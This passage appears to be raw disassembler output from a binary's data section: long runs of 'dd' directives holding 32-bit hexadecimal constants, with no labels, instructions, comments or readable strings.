		dd 9C664248h, 0D25F4967h, 9D4F6988h, 43DA58BEh,	5C7D4814h
		dd 0A152D7CBh, 25513854h, 4E4C9245h, 7B3F7150h,	0D30FB231h
		dd 40754E62h, 45415523h, 765A58A9h, 4C78491Ah, 4F1E9C40h
		dd 554145C2h, 8D849C54h, 9842F501h, 5C2C6180h, 22400991h
		dd 8C018014h, 0C5BC00A5h, 0E1CEC1C6h, 9A00FEA0h, 83EDA3ABh
		dd 7A88B1EFh, 0DFEA9Dh,	0CF89D6F7h, 0EBB9A087h,	83ECAF03h
		dd 84F09CB0h, 89938C70h, 0EDF4E507h, 0C160C7E0h, 7BFAD81h
		dd 0B9EFB3F6h, 0CFDE4188h, 0C31C4FC9h, 0C8E2EAC6h, 3FFA2CDh
		dd 0EBB88DB4h, 0B02DE5B2h, 73050B9h, 0D0BBCDFBh, 0CAA330BAh
		dd 0A90DF2A5h, 0B2F48C95h, 30B43C1Ah, 34300334h, 7525021Dh
		dd 622000BAh, 7328746Fh, 0B966EE29h, 77A63E36h,	0E6681EF0h
		dd 0BEDEACECh, 4F22255h, 413CA82Eh, 24B7EE26h, 17231CA1h
		dd 0E61A3B6Fh, 0AB28FE10h, 290CE410h, 79AC2DF0h, 4C3620F2h
		dd 845D5E69h, 0C556855Ch, 7EA85A3Ah, 44382035h,	4E69584Bh
		dd 4D14296Eh, 0BA71D8D0h, 646D1604h, 89F81C2Eh,	0B2C67020h
		dd 92DD71F1h, 4EDD7408h, 84036B4h, 0EE3E6CACh, 0FE9792AEh
		dd 0B52C7B9Fh, 6D58DC19h, 0DE2E3158h, 384429B1h, 0FC8F264Ah
		dd 0A0CE686Dh, 8431E6FAh, 5AA5EF82h, 0C097BE0Dh, 0BEB90A0Dh
		dd 3E986D3Fh, 0A7CE67B4h, 0D5665A51h, 0C2A4D239h, 1447642Bh
		dd 22AD6A22h, 2EE80C22h, 1E663233h, 0EA5C4673h,	33221443h
		dd 2F424B1Bh, 3C98562Fh, 8B9157D0h, 2B75843h, 0EE516277h
		dd 0A5207414h, 766BCA84h, 1E725485h, 0BB665EE8h, 696F201Dh
		dd 3963D14Bh, 48451C6h,	95A06DE2h, 429E64F7h, 101F733h
		dd 1DC74344h, 0FA4E4544h, 3F2022B7h, 2664135Dh,	92950C25h
		dd 7A1B2D0Dh, 28281313h, 55142908h, 0F10ACC72h,	758D03B6h
		dd 94D2E4E9h, 2D063110h, 670A944Ch, 0C63A32EEh,	17BE4275h
		dd 0D0142018h, 47801C34h, 2F205445h, 0DF488CA9h, 31C050C3h
		dd 2CDE302Eh, 6A1B6F93h, 2224AD79h, 2B26F43Dh, 6E70C392h
		dd 3715B1BDh, 0E1C49525h, 1F3D6E55h, 0A26FA542h, 28F4724Eh
		dd 63EC53FCh, 66139699h, 7955B51Ch, 5269D259h, 3221BC5Ah
		dd 0C832B36Fh, 37B6672Ch, 0C4708419h, 600B50EDh, 66DFD1E4h
		dd 19895969h, 7092035Eh, 2C696A34h, 2992EC9h, 4A3A092Fh
		dd 98738DBCh, 0A9EF89C6h, 4C369350h, 6C291276h,	3936E235h
		dd 43CE7407h, 482F3A70h, 6150227Ch, 0B423B079h,	31324353h
		dd 6E170A87h, 8303806h,	0DA4687Ch, 439A5C85h, 9B9C6560h
		dd 11C56C73h, 2095A0FDh, 2A300DA9h, 0C5375B24h,	610B916Bh
		dd 39429A39h, 701111A4h, 0AC4544B2h, 701A91EDh,	16E42547h
		dd 3313624h, 49555113h,	0C03A350Ah, 63B4D729h, 542A1429h
		dd 7F48098h, 0CA7562AAh, 35E64B83h, 70350F9Bh, 95835875h
		dd 7343E763h, 8A60C668h, 4E744019h, 40B1A23Dh, 0C7584166h
		dd 5C38300Eh, 10854212h, 1444A243h, 90495323h, 5042A144h
		dd 1085531Ch, 4C46A049h, 53472A41h, 0BC2E7D0Ch,	53D2B480h
		dd 227E2618h, 2D34692h,	890A2474h, 5265BC75h, 3945DA3Ch
		dd 50814358h, 4E4F4954h, 0F08EBB5Fh, 531F10A7h,	4BDD41DEh
		dd 0B756BFBCh, 57F73452h, 967B1C0Ah, 6B7F708h, 4155A016h
		dd 457F4C42h, 248719AEh, 947E3A37h, 0F4563DBFh,	594240C7h
		dd 568E5AE6h, 189D444Fh, 4147744Ch, 0D451B0EBh,	0A4435552h
		dd 8920853Fh, 2B075242h, 8F3ABF4Bh, 96833834h, 0F7531438h
		dd 0F828B2DFh, 763F748Fh, 3D0486Eh, 87706475h, 0A750EBEBh
		dd 2CA2B23Eh, 6312C97Ch, 18EA922Bh, 74A6B2D3h, 3FB46E1Ch
		dd 5035CDF2h, 6879B132h, 0AE70DAC1h, 9963891Ch,	8FEE7008h
		dd 4B249518h, 0CF6144D3h, 20D4F6AFh, 78671C0Dh,	8BDCD8EAh
		dd 1B19470Fh, 0E2737712h, 4E57C6D6h, 235FB9FBh,	8AD2A483h
		dd 76185732h, 0D0774146h, 2AF42D92h, 6D526514h,	6150B284h
		dd 52FD9C1Bh, 2ABB45EAh, 1C00143Dh, 0FB686353h,	4A0D9732h
		dd 0A24F626Fh, 700430BEh, 66754269h, 9D4610B0h,	294A14B3h
		dd 4F54FF30h, 5F10A644h, 0D7531F53h, 3515C445h,	14C8B510h
		dd 0E10C250Fh, 1D181D41h, 6A19AA58h, 951D4949h,	0D0613558h
		dd 0DAD72AB2h, 52418EF8h, 0BC52941Bh, 6BC979ADh, 4A6CB211h
		dd 72704C38h, 42A4CDBEh, 4E770920h, 6D0F5869h, 1B6C3744h
		dd 64A2CF13h, 6BB2FD50h, 6B767CC9h, 12ABE7E8h, 15D96D80h
		dd 31EC2149h, 0A8E033E2h, 0BF988B00h, 0CCFDEEB5h, 86A20BB0h
		dd 644CB9ABh, 2E303119h, 8F473908h, 0CD383683h,	9437104Fh
		dd 0C3FC9D08h, 0B3FE8741h
		dd 8B3A8303h, 14214331h, 54103ACAh, 8689494h, 0E2474CC2h
		dd 6994C2E0h, 393A72B2h, 2B44497Ah, 989D5B17h, 49A82A2Fh
		dd 9291D4C0h, 2045E2F7h, 82149EE2h, 0AAC04A0Fh,	72EF4D87h
		dd 675ACFF2h, 0CC413B38h, 4226762Eh, 17732D05h,	0F69BA7D8h
		dd 589E2696h, 0B43A06ECh, 521048A8h, 3230CC21h,	91A10958h
		dd 48293108h, 6B7214Bh,	4C23100Ch, 5543084Dh, 0D02152E4h
		dd 0A8C3438Dh, 8980929h, 64228891h, 89345444h, 880C1C20h
		dd 0E4818CF4h, 22D00991h, 889C44BCh, 5C126C89h,	124C0899h
		dd 45102424h, 20BC8BF0h, 8C9592B0h, 0FFECE301h,	0ACA1C4FDh
		dd 0B9A0C8h, 0BAEEB2FCh, 0FBD4CF88h, 0CD0AFEF0h, 209AE9A7h
		dd 9799B680h, 2E3EFE1h,	0E9FBC7E0h, 34B0AB90h, 9F008C9Eh
		dd 0F3EFEAFDh, 0E3BCD6h, 0F881EE86h, 0DCADE5B9h, 0F7F0A80Eh
		dd 0ACC3E7E9h, 0BFABBB10h, 0E3A914EFh, 0BEC028BAh, 0ADE28890h
		dd 0C7EAE915h, 8CAC8038h, 50CAFE80h, 2FB0AAFFh,	0D41B8DF4h
		dd 0E9EF2100h, 0F98682E0h, 0B49D1C8Ah, 0B2E580EAh, 0F3E1AEDCh
		dd 0EF902CA5h, 0C078C129h, 0F5819588h, 0E1FBEC00h, 9CE99B82h
		dd 0EBA200B9h, 9599A0ABh, 0EDE2F49Dh, 20CEFE2Bh, 0D110B914h
		dd 0EEF0B134h, 91E3D843h, 974A86E9h, 14115051h,	9C44C7BCh
		dd 10905868h, 15A298F4h, 8528F2A5h, 0E80184BAh,	0D0F7FEECh
		dd 7961504Eh, 61EBECD8h, 80980E04h, 0A18FE399h,	0B8B960A3h
		dd 0F28690AFh, 88F8E22Fh, 0B360208Ch, 5FE8893h,	0DAF7A2EDh
		dd 9C1033B0h, 0F8A74040h, 0B0F1B204h, 30809EFEh, 0F592B9h
		dd 0FC8688B1h, 0D0C2ACE6h, 8DEFBA05h, 2430BEBDh, 939D8FBCh
		dd 8F96603Ch, 0F052E28Eh, 2F93CE44h, 0ACEFE08Ch, 7B6C7C1h
		dd 0B9A79AF9h, 0AA201FE0h, 0F1FE8788h, 0DBE6E500h, 0BC8DDFF5h
		dd 0A3F03DBBh, 0B30F3856h, 0A2D19C8Fh, 6E6ED83Ah, 6581115Ch
		dd 286C7078h, 0D19C72BAh, 66C153C7h, 0D4747774h, 7C4D5C5Ch
		dd 0DE73F876h, 9ECCA71Dh, 82643EF1h, 0DF9F5FEDh, 4575EC52h
		dd 689EC340h, 0C631E1EDh, 643AA7C0h, 612F109Dh,	62B6E567h
		dd 20061B1Ch, 483A412Fh, 3446590Ah, 0B421043h, 84666916h
		dd 0BC1CC9A9h, 0F67AD1Ah, 0F439D550h, 2EB82618h, 521AB762h
		dd 44208138h, 0CEE94C71h, 724F10DAh, 81836476h,	872D6986h
		dd 0D996525Bh, 5EFD76BCh, 0CFA07D79h, 6B633DCEh, 590DCACAh
		dd 842493E3h, 0FA6A87E0h, 165C8B63h, 3715BD34h,	159C33DBh
		dd 6DED2153h, 0F0B17E65h, 9C032E95h, 818FB200h,	4DE3E0BFh
		dd 13974CFFh, 87381F50h, 9BA2B4D0h, 59B77D07h, 24817896h
		dd 9C37E7h, 0FC9A9DBBh,	56F7E2ADh, 0B8051CD6h, 81F68093h
		dd 22C3BC34h, 80B189D0h, 0FFEEF47Ch, 0B68C01FCh, 0ACE085E3h
		dd 0E81448ECh, 32E09058h, 249809B4h, 8B3C4854h,	0F41C8FE4h
		dd 9893BB0Bh, 0F3D400FFh, 0EBFBC6h, 0EAA8A389h,	94BEF9EEh
		dd 0AD056CB0h, 0FACFFDEFh, 0E442105Eh, 60818BB0h, 3F6EDF8h
		dd 8FE5A68Dh, 0EFD0A8A0h, 0A9B0B0F0h, 0A300F3E8h, 0E3BDC3EBh
		dd 0AF9187h, 0A8E5AAFCh, 0E7F48399h, 0D6CDBE00h, 0FFC5BDB8h
		dd 99FC76E3h, 8FAA606Ch, 0E200F6C1h, 0E4D1F7E1h, 7A791A2h
		dd 0E3EEFEA0h, 0D0707AB0h, 0C778BFFAh, 0B314E260h, 0A0DB9AEEh
		dd 0A5BEEFh, 0DCBCED8Fh, 0F8ADE0ABh, 0D101E671h, 0B4B2F2D7h
		dd 0BDCC97BFh, 0FEF7008Ch, 0EAB8F5FBh, 0BE508ACFh, 0D100F3D4h
		dd 0E08BE2ACh, 0AFA5E1A8h, 0F7E112B4h, 0F2C10F00h, 242892ECh
		dd 0ACF0029Bh, 0B78DFCE9h, 0AEE1B080h, 0F200B2ECh, 0BE9B92BAh
		dd 24FDE3C4h, 728B9C5h,	20F5A2A1h, 81B5ADE1h, 18B24290h
		dd 0C63D7098h, 34FCA9ABh, 248C83Ch, 0E0EDE1FDh,	871AE08Ch
		dd 0FCA129A9h, 5355C1ACh, 0D7D6C241h, 59692062h, 3936F66h
		dd 3A534F16h, 4891CAB4h, 40A0B55Dh, 0AA76FC2Ch,	6C86430Fh
		dd 621C2406h, 8016D68Ch, 55504359h, 15462F95h, 484D8313h
		dd 522A087Ah, 12236D61h, 0B2F428Ah, 41692051h, 50494260h
		dd 3A5E3676h, 55E99A2Dh, 6D81053Eh, 0CC342965h,	54A57961h
		dd 9F2686A6h, 70690F21h, 24754101h, 0EB9E206Ch,	4F506EE4h
		dd 2DB194F4h, 2D713510h, 14674B08h, 4B1A445Bh, 0C084C953h
		dd 52184148h, 45085744h, 53CCED5Ch, 0B649F643h,	65924F3Fh
		dd 9215851Dh, 7EC27212h, 345C3739h, 0D99E4EE9h,	831C591Bh
		dd 0D9DBE732h, 50580E76h, 847E0C14h, 33454D20h,	54493839h
		dd 58351120h, 5337976Eh, 93F063Fh, 926CA7D4h, 0C39359E2h
		dd 0A424772Ch, 54FA816Bh, 71C86894h, 5AD85F4Eh,	103DAAC4h
		dd 468B474Ah, 775C2E50h, 0E316D030h, 0D4BE5A4Ch, 2C1328B6h
		dd 41893CF5h, 5198B49Ch, 2BF271A8h, 0B16C7256h,	93434952h
		dd 0AC244EBFh, 800CCE1h, 5A617641h, 5A2C772h, 4CF14F42h
		dd 4D0D4EAEh, 5A7B392Eh, 946BA4C3h, 45287A8h, 41C21456h
		dd 48E85C3Ah, 0F2BA6F54h, 0AFB7207Fh, 0CA7E9499h, 1848B375h
		dd 0BFBD7345h, 29921742h, 0DD71A151h, 85F6134Bh, 2E1E103Dh
		dd 0BA2E2040h, 887557B9h, 64A6C25Eh, 3B381EF4h,	0DA2D3D63h
		dd 0C45B7ED7h, 64249509h, 938A178h, 62CB0110h, 0BC39456Ch
		dd 0F7B69531h, 0CEC8180Ah, 0A0246DBh, 67A5623Ch, 2536286Fh
		dd 0BC64DA50h, 61718C74h, 829196A0h, 1C6A0D31h,	0B95347Ah
		dd 524928A7h, 472AC129h, 0F0F139C7h, 4BB7E649h,	25408A73h
		dd 84FFCC78h, 0B4F08371h, 2E29DEA3h, 0CFEDE920h, 0B22F24B2h
		dd 5C373209h, 5467A71Bh, 50CE092Fh, 18765EBBh, 434920B0h
		dd 0CA504D3Eh, 0A2B6DA3h, 65C2BD84h, 42D2A02h, 3A39222Fh
		dd 281C1EB2h, 736D0CC5h, 4D62052Dh, 2C4203D0h, 428866B9h
		dd 0F3298932h, 9B8F49FCh, 26945672h, 495B9004h,	20FCDD85h
		dd 0A41013F4h, 0CB9C4550h, 20353C34h, 21A602E8h, 382EDA89h
		dd 96185C7Dh, 5C2750F1h, 6748F84Dh, 1A3CEB65h, 3A8C740Dh
		dd 5BFA3E18h, 70148BFDh, 7BA5EB63h, 341DB118h, 0A50A1716h
		dd 5D160844h, 6EF988D3h, 2E2364Bh, 34333427h, 4092B774h
		dd 89DAFA74h, 0E925F92Fh, 719579D1h, 0FC2EE227h, 3D1F528Ch
		dd 94A840B0h, 0F0F80080h, 0BCD0F3A2h, 0A07CC6E2h, 0E834ED4Ah
		dd 0D2814984h, 0E8356665h, 1E590E71h, 42690293h, 12EA090h
		dd 0E2A60859h, 32C12B69h, 527EEDF0h, 341F26CAh,	1328E86Ch
		dd 9C04DC8Ah, 4D4E384Ch, 2710CC60h, 1C14AC02h, 0A1353239h
		dd 0C3EAA002h, 78B4DC99h, 1D2B51F8h, 0A00A0C26h, 0F8402F60h
		dd 0AC1371D1h, 35E82B14h, 6A002D4h, 14B20E76h, 6B0F51D4h
		dd 5A2DF320h, 333DE966h, 5BC913DCh, 32DAE863h, 0E30B140h
		dd 9418822Dh, 448752E4h, 75F2195Ch, 2070B9D4h, 0B5279ABEh
		dd 7345789Eh, 195576Ah,	767069E9h, 6B65F134h, 54034B27h
		dd 1074CD68h, 69A370FDh, 2E8567ACh, 44F20364h, 0F440104Ah
		dd 0AAB82CC1h, 38471AE7h, 4EDC804Eh, 98B43A53h,	578F28D0h
		dd 38492815h, 8A086493h, 0B5449039h, 74E977D9h,	9A52452Ch
		dd 0E6929D6h, 0D234425Eh, 232E6194h, 21DF2446h,	0A8483CD9h
		dd 680DE1FFh, 0A963CBD4h, 39A55E44h, 315166DBh,	2BB0AB48h
		dd 8841F45Bh, 0C326C97h, 9C48B0C4h, 7891EEDCh, 0B6E0C5h
		dd 9BA4F105h, 7F3839DCh, 8EAD005Ch, 6920A4E8h, 0CAFB93A5h
		dd 9F8BB378h, 8A9A5A89h, 630A61A8h, 1A94D323h, 8A2480Ah
		dd 0B5A0E03Ch, 0CAC2D77h, 48046826h, 9412BBE2h,	14712B20h
		dd 4F4D820Ch, 7B524544h
		dd 40BD2829h, 77AE6240h, 128CAD12h, 20E79144h, 52EE2C6Dh
		dd 15354BF2h, 8AF46E1h,	0DB85502h, 0F862A4D9h, 68EBB0DCh
		dd 1462E583h, 6323B8C5h, 38C53880h, 411450F4h, 14745452h
		dd 0A06765A0h, 0AE0C0AB0h, 854A4F0Ch, 9C7BAC1Dh, 0A6C31F1h
		dd 48295E0Bh, 8C97C128h, 4D16A844h, 342C05AFh, 2C805785h
		dd 70D16814h, 0F58D2CA0h, 81D0CE56h, 2DB260E0h,	23A31C5Ch
		dd 896290BBh, 29BC9684h, 0C9A046E8h, 0A957CACAh, 0A113459h
		dd 0DFBD949h, 2A62713Ch, 343604C1h, 2B559A22h, 4E06FDAh
		dd 2C40E3E0h, 1C745F49h, 2CCB6CE2h, 0EBBDA8ACh,	3C0B4F21h
		dd 0A36E4374h, 7130DC93h, 0E534266h, 6C278170h,	7C7FE04Ah
		dd 0B014A90Ch, 0E0102BBDh, 0A5086670h, 23C7880Ch, 4CCBE658h
		dd 25F23004h, 8DFD9014h, 7038127Ch, 3F0AA847h, 60600D91h
		dd 91289D48h, 70A4C524h, 9DD92B0Ch, 827C5E53h, 9E9E29C3h
		dd 0AC360810h, 0E1D0489Dh, 29A52360h, 9A0E44Fh,	3409888Eh
		dd 983669F3h, 14EFBC10h, 0A7768A0h, 4715BE85h, 0B8C50C0Bh
		dd 84082543h, 87A794B0h, 51C259B3h, 4D04090Bh, 0A557876Bh
		dd 8E23FC61h, 6488336Ch, 95757E66h, 5707899h, 6C413D87h
		dd 384A2E79h, 46D8E396h, 0DD613E2Ah, 52428024h,	49454B4Fh
		dd 20991C4Eh, 1C42E333h, 84AC2B0Ch, 0B7B58A81h,	0D0F4F6B4h
		dd 0A98D07EBh, 0B0E3EE9Dh, 0D9FFDBFAh, 0DEB19C00h, 0F58CBCB6h
		dd 0AC9B48A9h, 115E88B0h, 50C0356h, 0B12C0878h,	1428E868h
		dd 10EE5AD1h, 0ABBF9DE0h, 80C4D738h, 0DC98E9D8h, 3C999CB9h
		dd 869E97CFh, 0B5A541CEh, 599BAABBh, 8895E420h,	2880F84Ah
		dd 1EE3A7F2h, 0AAEBB8Ch, 0CF18C489h, 0C5A9B3C0h, 0C025CDD4h
		dd 587C51E7h, 990180C8h, 0ADF583C5h, 0D7EA8A8Eh, 0A6D08B80h
		dd 0A04C87E5h, 6C46B2E4h, 12A10868h, 0E9D029A0h, 210ADC6h
		dd 38323166h, 0E02BA969h, 0ED996261h, 93DA7225h, 95426FB3h
		dd 2C970FDDh, 9385783Ch, 0F964693Dh, 693FC723h,	2885C221h
		dd 4B2C8E7Dh, 0BB45C999h, 9C49C7F2h, 7B91A8E0h,	4E60C499h
		dd 0B94B4349h, 23300531h, 693C7013h, 365677C8h,	40D292B8h
		dd 40058421h, 52502020h, 4D564906h, 0F66D4753h,	467DB63Ah
		dd 3C20093Bh, 643E423Dh, 0E25F2119h, 0FD10244Bh, 665F7849h
		dd 0C1D8F64h, 85859BAFh, 85CD1856h, 4F0358E2h, 0F1E0D973h
		dd 9C8D3C75h, 32332505h, 3631C9D1h, 0C90A0AA0h,	0F6C12630h
		dd 55451229h, 4195B43Eh, 4793AEDh, 3702368Ch, 0F0EB17E1h
		dd 409D92Ch, 24045475h,	47B9B00Ch, 764839D7h, 4E558442h
		dd 1A25BE4Bh, 0CC0E30CDh, 5341500Eh, 4E094F34h,	1A05544Fh
		dd 2B185C45h, 2E6048F1h, 0F86D929Ah, 4820C876h,	0B5E45A2Ch
		dd 2C223087h, 62B152FEh, 0D92C2A95h, 0EE2C5D10h, 0A6DA3328h
		dd 401C8180h, 0FFC0F917h, 31533534h, 4F481D98h,	53EC1265h
		dd 2B963D68h, 30D70E78h, 5310312Ah, 0DE416D9Ah,	0D2F42875h
		dd 0E352FCC8h, 6CB29DEBh, 0EA99E171h, 0D6472A50h, 0B02B089Ah
		dd 537AB478h, 1C504F4Bh, 6765C7A0h, 0C0976415h,	2E3176F0h
		dd 0CD88B536h, 29795220h, 0E35AA9ADh, 28CB2D1Fh, 42291D11h
		dd 25B33A35h, 0AF0C2DEDh, 85F7EB31h, 0EAF12057h, 0A843FC0Eh
		dd 4C6F0C53h, 0D09008B5h, 2A929291h, 42985454h,	46624360h
		dd 5A494847h, 625C54Ah,	0C2515025h, 56555401h, 5A595857h
		dd 67CBBE6Ch, 6B6A6481h, 9F4446Ch, 2C8871B7h, 777601F9h
		dd 207A7978h, 3348320Fh, 38F45030h, 2F2B3917h, 94D344F2h
		dd 2D0962F1h, 5241E156h, 74E17761h, 0E5F8DD2Ah,	493F226Fh
		dd 0CA70273Dh, 25C0C690h, 78301130h, 5C0728F5h,	400DC28Fh
		dd 9F56010Ah, 7766DAEEh, 44097603h, 263FC675h, 92678FF3h
		dd 1972CCF2h, 0F9D43E63h, 362C301h, 8E517375h, 0E864B808h
		dd 7BFB5071h, 700AB7Ch,	0ED773AD5h, 1E7C941Eh, 7DB565Ch
		dd 0C1FD1F89h, 0DE216B8h, 66E0780Eh, 0FF0BCA81h, 0D752420Fh
		dd 2ECD9E80h, 5A00053Ch, 21B8EF74h, 64A9D5Eh, 75AFFA8Bh
		dd 0E72D06EAh, 83092FFh, 0A8230412h, 0F92836D0h, 0A0F7050Bh
		dd 4647C2Fh, 410A824h, 469C91A8h, 205CEA8h, 2910030Bh
		dd 117F8549h, 4A116D0h,	5994E9Ch, 0C0A55CA0h, 464207A4h
		dd 885D0400h, 0C91CEB8Ah, 0E89F110Eh, 102B0208h, 8CAAF048h
		dd 0F4584C1Dh, 8425570h, 4460C1Eh, 14CC0140h, 47FFDE0h
		dd 0A9380C41h, 0B45F8043h, 80A4E52Ch, 47843FDh,	20063124h
		dd 243258h, 45CCFD58h, 70B04964h, 74AEDD00h, 60D2962Ch
		dd 1C0D575Eh, 2197032h,	0E6897C27h, 804C8077h, 3F17196h
		dd 11CE4D2Ah, 20806AA6h, 722D6EAFh, 0E2462FF4h,	0B0425241h
		dd 5BF00D34h, 0A84488ADh, 1C0BF438h, 42A0360h, 4F454D09h
		dd 0A2394957h, 3812F05Fh, 32002E03h, 98282930h,	5E100118h
		dd 3836B208h, 404452C8h, 68A6D818h, 7489884h, 38C4BCF8h
		dd 641BCD28h, 32850829h, 74B6B920h, 0C810AB56h,	1FA6F9A5h
		dd 0ADE4A423h, 0A08FAA7Ch, 81607074h, 0EE901258h, 16EDB1A0h
		dd 29E8A678h, 50E4D801h, 88B64F42h, 97A943F7h, 0BA01143Eh
		dd 488960D1h, 20660419h, 25609EEh, 1710CBA4h, 19788528h
		dd 8AB4340Ch, 0D870071Ch, 4F209398h, 0CA911D2h,	0B257BE3Dh
		dd 31E03221h, 804858AEh, 138F4E8h, 14433818h, 4602942h
		dd 0C044F8A9h, 49873B7Ch, 0C58114B8h, 80031701h, 994AE90Eh
		dd 58AF1C4h, 857A6F50h,	43E46A02h, 1930C9E8h, 18516E60h
		dd 2378DAD8h, 782F20B1h, 9603B2E4h, 0AD2C9A08h,	80D3BB28h
		dd 0D6482E24h, 0B70E6844h, 8BC15AC3h, 9095C20Bh, 0B2082014h
		dd 0A236F45Ch, 64437008h, 93310D24h, 34833336h,	36833583h
		dd 0F6021846h, 706470F8h, 7863566Fh, 5E1CE3D6h,	2A883B31h
		dd 0B802CC42h, 0DE8C28F8h, 0F8002C18h, 180C0310h, 2E16C602h
		dd 813629Dh, 98041C55h,	5C0A0D40h, 0D7AA2F5Fh, 473888CDh
		dd 0B80006D0h, 1C4D9F4Ah, 1116CF7Dh, 0D4211E86h, 8877577Ch
		dd 42548AA5h, 5738E601h, 580E0C01h, 4020757Dh, 0BC47C6EBh
		dd 0A74E7101h, 97B5D01Ch, 989324Eh, 40A69936h, 0A4E8E099h
		dd 521C6850h, 39D25A09h, 829A938h, 973DE6Bh, 6B7D05FCh
		dd 3D18AE88h, 55FE3045h, 0EBC00BFBh, 0A319E410h, 0CC04C22Dh
		dd 410DA66h, 0E4D2101Ch, 23C050A2h, 0EB77F337h,	9F073C94h
		dd 59041875h, 8B0B4093h, 650321Bh, 1FA0F459h, 4D53FF85h
		dd 0E9724226h, 0C8C82A6Fh, 0A9FEFFF0h, 0B7406207h, 1204350h
		dd 5754454Eh, 684B524Fh, 477776F0h, 4E4D413Ch, 30A72EA1h
		dd 6D6C0E3h, 22DC0B8Ah,	0F981D2E9h, 0FD6B0893h,	1E7030AAh
		dd 66312E33h, 484D5161h, 0E2583225h, 0EE3333D1h, 4D16DE2Eh
		dd 0CD322054h, 5316BF30h, 8CA42971h, 7C87310h, 0CA2A15Eh
		dd 40A4DC42h, 9B0A11C5h, 6D466A7h, 6C698038h, 0E253989Ah
		dd 823B9150h, 0E0088297h, 0C699645h, 996E4A01h,	1B779C92h
		dd 0EA2A7773h, 73F50230h, 2B393806h, 387B2435h,	0A77C2E3Ch
		dd 0ACDA154Fh, 204208ECh, 57E4DA21h, 97859F2Ch,	461F7203h
		dd 4C472499h, 9C874008h, 41433906h, 20A0CAFDh, 0E0888A15h
		dd 4F70F398h, 814440h, 0F27A6A19h, 281C49E4h, 2530AF01h
		dd 53671074h, 5CECE24Bh, 7546E0A4h, 6B9054B6h, 0C2F16792h
		dd 0D931BE84h, 326203E4h, 510896Bh, 85F3818h, 3067782Ah
		dd 50054939h, 2903ECDh
		dd 94239C3Fh, 0A2216464h, 41DC08D0h, 18F70304h,	0DDDEC838h
		dd 171629A6h, 0BC019F8Bh, 2C0359AAh, 5C3840CBh,	8CA41103h
		dd 21DA6C55h, 70D42075h, 2BA563E0h, 236C9C14h, 0A0055A25h
		dd 0F64BDD10h, 546E1C9Ch, 26B79929h, 4659C99Bh,	0CC50B829h
		dd 0D4754596h, 122849Ah, 4D6B87Dh, 6A8468h, 0C391928h
		dd 9B11D0B1h, 5DFA858h,	0F52ED94Fh, 29884DEh, 0A4AFF40Ch
		dd 0A02160C4h, 289A0B0Ch, 0B17AA414h, 0C410EE85h, 88630CA0h
		dd 0ECA4D8C5h, 12088C8Eh, 31401495h, 93707C50h,	489E0110h
		dd 0A3F90843h, 1C7E1489h, 2138578h, 0E9A65BABh,	0F812025Bh
		dd 1D2F1422h, 44FEFF88h, 3324CD0Eh, 8EFD5833h, 83261208h
		dd 1F449B08h, 5EE0DB9h,	2F25B4B7h, 200C6421h, 0AD110026h
		dd 9808910Dh, 93D80F02h, 1187080h, 84087081h, 28E60F42h
		dd 951A80A5h, 9080973Ch, 0F848402h, 64C46C63h, 0A89A0161h
		dd 68AE7022h, 0AFDF1489h, 1CEC5018h, 0E4FF0713h, 3C0145D0h
		dd 75153712h, 0BA80FE08h, 5042B68Ah, 7FD01E3Ah,	0C53452C8h
		dd 188BC615h, 0EB441B68h, 46121C12h, 0A7282B0Bh, 0B30F0803h
		dd 291B389Ch, 1528EEA5h, 8AD25A24h, 3AF2BB5Ch, 2001231Ch
		dd 240AB8C2h, 0A3625246h, 25C060Fh, 2524494Ch, 4B3A9E24h
		dd 1382C5Ch, 0D8E72046h, 0A8091A77h, 5713947Ch,	30296BA1h
		dd 4FC880FEh, 3F704B32h, 1280D316h, 0BF475A78h,	8823E16Eh
		dd 6603D803h, 20010887h, 800390F0h, 1C893C1Dh, 0E0041289h
		dd 4A468953h, 0A45CE929h, 485CF423h, 453A5E50h,	1C2628CBh
		dd 4C50E96h, 11F084Eh, 84E84221h, 63A33272h, 970869CDh
		dd 942FD702h, 6291CB2Bh, 0ACB7CA04h, 801C808h, 80887CC9h
		dd 28D05C04h, 0D487A3ACh, 446807Ch, 446683Ch, 0A38172B3h
		dd 215152Ah, 9595A508h,	89088B3h, 0C682BF4Eh, 52AAB485h
		dd 0A351E08h, 0ABC89E10h, 2C41EDC0h, 26018627h,	0B3A059D2h
		dd 88C0AA5Eh, 0FBC5426Fh, 24155A2Fh, 2F325AC4h,	0DB18B2h
		dd 216E6644h, 6B10E478h, 13448570h, 72826223h, 0AC65BCB9h
		dd 9157D014h, 0DC88B778h, 40211EE1h, 4E400056h,	0A03D8D9Fh
		dd 8F2411CEh, 3E010569h, 11B0530h, 84B5D077h, 21A47EB5h
		dd 0E73C1E60h, 0A08BBCBCh, 8FA42842h, 0C2BD504Dh, 8C083C18h
		dd 78412451h, 3F1129A4h, 524D08A0h, 93D9722Dh, 59C15364h
		dd 7D6609BDh, 30531D4Dh, 5D365A02h, 0CEE04B08h,	0CC0299Dh
		dd 0CA019094h, 853DBFEBh, 767A1567h, 2CE4082Bh,	4F1F4857h
		dd 1EB8844h, 0D45534CAh, 13C791Ch, 9082F461h, 416BB45Bh
		dd 9748D0FCh, 129F2F74h, 487D8099h, 0EB016008h,	0C3535B03h
		dd 547CF8E8h, 4C03100h,	50D80134h, 2D2E0FFh, 0B9401039h
		dd 23C3FA30h, 93C22841h, 0C0E2BBC6h, 0F9EAC166h, 0F6301E83h
		dd 2FFF0302h, 43130181h, 0ECC9F558h, 0D538E008h, 0BDF27A61h
		dd 0B3FC7733h, 0C0122301h, 5B4F0201h, 223E765h,	2B4F953Eh
		dd 0C09F4E0Ch, 0A8BD8001h, 607D8AAFh, 0F442BE28h, 1892909h
		dd 485CC0D9h, 80A9E818h, 5201B003h, 0E59CA97h, 0D5A811D0h
		dd 0DC9A000h, 10E15180h, 55B526h, 0C5C1371Dh, 6379AB46h
		dd 682A8F07h, 0A90869E8h, 59E941Dh, 0F810F521h,	0FC44F988h
		dd 57852722h, 3705082Fh, 40223F44h, 88044110h, 43880842h
		dd 40458802h, 478C38B5h, 42488920h, 4A114923h, 42844B08h
		dd 104E214Dh, 4598884Fh, 9105049Fh, 9924405h, 44039344h
		dd 96444195h, 21974411h, 33539949h, 30C4F40Ch, 0D409C8E4h
		dd 0C022C891h, 89B4B844h, 24A012A8h, 8AFC4498h,	8811900Ch
		dd 918409C8h, 44742280h, 5889606Ch, 44245012h, 3C914048h
		dd 30443822h, 12208928h, 48102418h, 70049108h, 0A4C3F888h
		dd 11F06614h, 0E44409ECh, 12D889E0h, 48C824D0h,	22B891C0h
		dd 0A85C81B0h, 9A01199h, 248C1294h, 91804888h, 446C2274h
		dd 5C896064h, 50245412h, 40914848h, 30443822h, 12208928h
